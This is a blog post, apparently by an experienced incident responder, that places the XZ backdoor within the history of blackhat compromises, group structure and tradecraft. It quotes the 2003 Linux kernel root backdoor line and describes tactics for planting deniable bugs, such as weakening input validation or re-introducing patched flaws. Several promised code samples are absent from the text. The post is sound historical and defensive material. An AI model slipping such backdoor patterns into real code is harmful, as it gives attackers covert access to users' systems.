The XZ Attack in the Context of Historical Blackhat Operations

Old school hackers already know everything I'm going to say in this post but this is for the benefit of people who weren't around in the security industry in the 90s and 2000s as well as for professionals who have little exposure to the true blackhat community.

I have no idea who planted the XZ code or why.  I don't know if it was a nation state, a blackhat group, a malicious insider, or a 14 year old script kiddie. What I want to focus on for this post  is to give some experience based background on the ability of non-nation state affiliated blackhat groups to pull off sophisticated attacks.

First lets define Blackhat:

• Possesses and uses highly advanced as well as common techniques
• Accesses computers without authorization
• Targeted
• Steals & Backdoors Source
• Sniffs networks for up to years at a time
• Taps mail boxes and communications

While there is overlap, this is somewhat in contrast to regular computer criminals:

• Accesses computers without authorization
• Mostly Un-Targeted / Targets of Opportunity
• Smash & Grab
• SQLi, Mass Malware, Scanner Based
• Focused on credit cards, PII, Game Accounts, stealing crypto

Blackhats target:

• High Profile Organizations
• Security Researchers
• Other, lesser skilled hackers

Why do they target Security Researchers?

• Disclosure - Blackhats don't like it when researchers burn bugs because it costs them time and effort. Often a blackhat will have and use a bug for months or years before a researcher discoveres and discloses it.
• Chasing Media Attention - Blackhats don't respect researchers of low to moderate skill who are always in the media.
  Lack of Skill - Some blackhats have mind blowing advanced skill and see many security industry personalities as poseurs.
• Access to Capabilities - They steal security research, exploits, and tools from researchers.

I can speak in another post about the history of blackhats compromising high profile security researchers and companies, but suffice to say its been going on since at least the mid 90s when Mitnick hacked Shimomura. For one brief example, here is a list of alleged compromises from the blackhat group ZF0:

• Cult of the Dead Cow
• Security Focus
• Comodo (SSL/TLS Certificate company)
• Kevin Mitnick (Security researcher & former Blackhat)
• Dan Kaminsky (Security Researcher & purported DNS Root Key Holder)
• Hak5 (Security testing tool company)

And many more. Often the known target is not the ultimate target of the group, but rather a stepping stone.

Here are some things I've personally seen from sophisticated blackhat groups and individuals:

• Air Gap Jumping
• Hardware implants
• Persistent Bios Rootkits (~1995)
• Highly sophisticated implanted backdoors
• Complex, protocol based covert channels
• Fantastic crypto implementations
• High level of coordination & hand off
• Several incidents deemed “could only be nation state activity”
• Multi-year undetected operations
• Linux 64 Kernel 0day
• PaX ASLR Bypasses as far back as 2002

Some Blackhat History

Back in 2009 I co-spoke on a talk called Why Blackhats Always Win where we revealed some blackhat techniques, mindsets, and some big compromise events that are reminiscent of this XZ situation.

The content of this talk comes from working major Incident Response Cases, surveillance on blackhat groups, knowing active blackhats in person and getting insider info, etc. A lot of the techniques I will talk about here are very old, although still in use. I'm sure modern blackhats have even more sophisticated approaches that I'm not burning in this post.

Here are some highlights:

Apache.org

• Attackers used no exploits.  Instead they relied on configuration errors
• Used a combination of small bugs leveraged against the system to gain
  Administrative access to the main source repository
• Patiently waited for root to login.

Debian.org

• Attackers used no exploits.
• SSH Authkey misuse on a system in Japan and a system in the Netherlands
• Allowed access to an administrative account on debian.org
• SSHD backdoored and core Debian OS source backdoored
• Was unknown for 6 months (thousands of Debian users compromised)

Wordpress.com

• Attackers used zero day vulnerability
• Backdoored Live web application
• Accessed chief source code repository
• Backdoored source code
• Was quickly noticed and fixed
• The security researcher Dan Kaminsky was compromised by backdooring a wordpress repo and then socially engineering him into updating his installation, loading the backdoor on his own site.

Comcast.net

• Attackers used no exploits
• Attackers Social Engineered Network Solutions into granting them access to Comcast's account
• Attackers redirected comcast.net domain name to attacker controlled servers

Major Linux Distro

• Heard of attacker getting in over months
• Subtlety backdoored distro & introduced bug
• Matched md5s
• Able to own any system for 6 months
• Distro NOT the ultimate target

Major International Bank

• 18 month operation found development host on separate network
• Attackers used custom vulnerability in a co-located website and read many files via directory traversal because the server OS (Solaris) treated directories like files. Attacker could So you can do cat dir/ and get results as if it was ls
• Discovered copy of every bank transaction goes over email to sysadmin
• Copied mail spool (and all transaction data) via target's own website

Popular Apple Jailbreak Tool Backdoored

• Attacker gained something like 1.7 million shells overnight.

Other Alleged Examples with Code

Linux Kernel Hack

This attack happened way back in Nov 05, 2003 and involved a two-line addition to the Linux kernel source:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;

Note "current->uid = 0", not "current->uid == 0”, = vs == has a very different result.

By passing in __WCLONE|__WALL the blackhat is root.

Redhat Hack

Uncreal IRCD Hack

June 12, 2010 at 9:17 am Unreal ircd anounces that the server distrobution had been backdoored since at least NOVEMBER 2009!!

The backdoor consisted of 9 LINES in struct.h.

Many security researchers used this server for communications. Who knows what was lost, what other compromises this lead to. Here is the code:

Here is how it’s triggered:

The AB likely refers to one of the most sophisticated blackhat groups of all time, ac1db1tch3z.

Blackhat Operational Structure

In around 2016 I designed a system that allowed the user to use a shopping cart style web page to generate malware for many different types of systems with 100s of endpoint actions and anti-analysis techniques. In around 2017 I was shocked to discover a blackhat tool, in use in the wild, that did the same but with way more capabilities. They could generate implants for windows, linux, osx, and mobile platforms, that weren't detected by current AV signatures, and which were hard to analyze, in seconds.

So how does the blackhat community work? Obviously there are exceptions and lots I don't know but this is my current understanding.

Communication via private, invite only, live chat systems. Historically IRC, AIM, SILC, private servers and web systems. Currently Telegram, Signal, private systems.

Vetting process usually requiring a "vouch" from a known blackhat and likely proof if illegal activity.

Breakdown of Focus and Skills

One individual or group will be focused on:

• Collecting shells on targets
• Source Code Theft
• Vulnerability discovery
• Exploit Development (ROP, Continuation of Execution, stability)
• Implant / Post Exploitation Tooling
• Social Engineering (Lots of targeting mobile phone companies to bypass MFA)
• Infrastructure (proxies, VPNs, misattribution, tool storage)
• Credential Harvesting / Cracking
• Payment / $ Management (cryptocoin, SWIFT, moving currency)

All of these things are traded. For example lets say I have a shell on a VMware corporate network host. I might provide access to the shell in exchange for an 0day against an internal system or for a good implant I can use to expand my access. If I am writing exploits I might exchange an 0day for access to Microsoft source code. Sometimes people work together, sometimes as individuals just trading. Groups coalesce, conduct an operation, and then disband.

I know of one blackhat who, when they were 14, compromised a non-US nation state air gapped system. The target believed they were dealing with a sophisticated nation adversary attack.

You have to respect their capabilities, organization, and skillset, even if you disagree with their actions.

Methodologies Comparison

Blackhats and security professionals have very different goals

They also have very different methodology approaches:

An attacker is hard to detect when they look like a normal user, so blackhats do a ton of work to not look like a hack. They attempt to have a greater knowledge of system internals than sysadmins and defenders. Blackhats don't do what penetration testers do, unless they want to look like a penetration tester or ride in on a pentest coattails.

Blackhat Problems

What sorts of things to blackhats think about and deal with?

They have to come up with approaches for secure data exfiltration. They need to evade DLP systems, full packet capture, a sysadmin noticing a large amount of data going out, etc.

They have to deal with and work around dangerous data. What do I mean by dangerous data? Lets say I am a blackhat and I am stealing someones mailbox. That mailbox might be full of viruses, malware, phishing attacks. As a blackhat I don't want to accidentally compromise myself while reviewing target data.

I have seen, and have been a hostile target, aka one that embeds attribution call home capabilities in juicy data hoping the attacker will make a mistake. I have also seen trojaned TAR files that are built to overwrite home directories so the attacker blows away all their own data when untarring a file stolen from a victim.

Blackhats have to deal with data rate issues. When you are exfiltrating large amounts of data over Tor or privately create misattribution networks it can be painfully slow, unstable, and frustrating.

How to blackhats deal with these issues?

They burn stolen data to a CD /USB key and move it to an air gapped machine they can rebuild after each operation. They use scripted Tor data grabs to auto make exfiltration in small chunks, or use high speed multihop networks they create by hacking hosts in several different countries.

Blackhat Approaches

Sophisticated blackhat groups and individuals employ some interesting tactics in order to maintain control of target assets. Here are a few examples:

Some blackhats will introduce subtle bugs into code bases instead of backdooring or replacing binaries. I've seen cases where blackhats modified source to be vulnerable rather than inserting a clearly discernable backdoor. This is much harder to detect and often will be chalked up to being a coding error rather than maliciously intended.

• Take out or modify user input validation
• Inject your vulnerable code
• Focus on vague intent
• Never be obviously and solely malicious
• Look for apps with previous vulnerabilities
• Re-introduce patched bugs (happens all the time in development shops)

Lets take this input validation PHP code as an example:

A blackhat who gains access to this code might make a subtle change such as the following:

By adding < and > to the allowed characters, the blackhat introduces a potential Cross-Site Scripting (XSS) vulnerability. An attacker could submit a name like

which might not be properly sanitized later and could be rendered in HTML, executing malicious JavaScript in a user's browser.

Another example would be:

Removing the ! (logical NOT operator) inverts the logic of the validation check. Now, the condition only triggers the error message if the input is valid, essentially allowing any input that doesn't match the pattern. This might cause other problems such as the app not working correctly or lots of error messages, but it's just an example meant to illustrate the mindset.

Some blackhats will downgrade applications on target hosts to known vulnerable versions. I saw this happen with a particular version of VNC. This can cause problems if the target has a robust vulnerability management program, but usually the attacker will know this before employing this technique.

When all else fails some blackhats will opt to keep admins & incident response staff busy and second guessing by flooding hosts with worms & malware to set off tons of alarms and then hide in the noise. I worked on one case where the attackers came in with some alien technology level tools that took me 3 months to reverse engineer. The attacker determined that I had done this and then came back with 200 crappy, noisy tools in one area of the network, which resource exhausted me analyzing and reversing them while one of the attackers team mates was quietly hacking and exfiltrating data in another part of the network. (Painful lesson for me)

The End

The point of this post was to illustrate a few key points:

• It can be difficult to differentiate between a blackhat and a nation state attacker. Both can display high levels of sophistication. Both can make silly mistakes
• Backdoors and source code compromises have been happening for over 30 years and are will continue happening.
• Some percentage (maybe most?) of the most severe compromises have yet to be discovered / published.
• You can't necessarily trust what you are seeing. It might be a deception, a misdirection, or something else.
• Understanding history is critical in order to pattern match the future.

Thanks for listening,

A.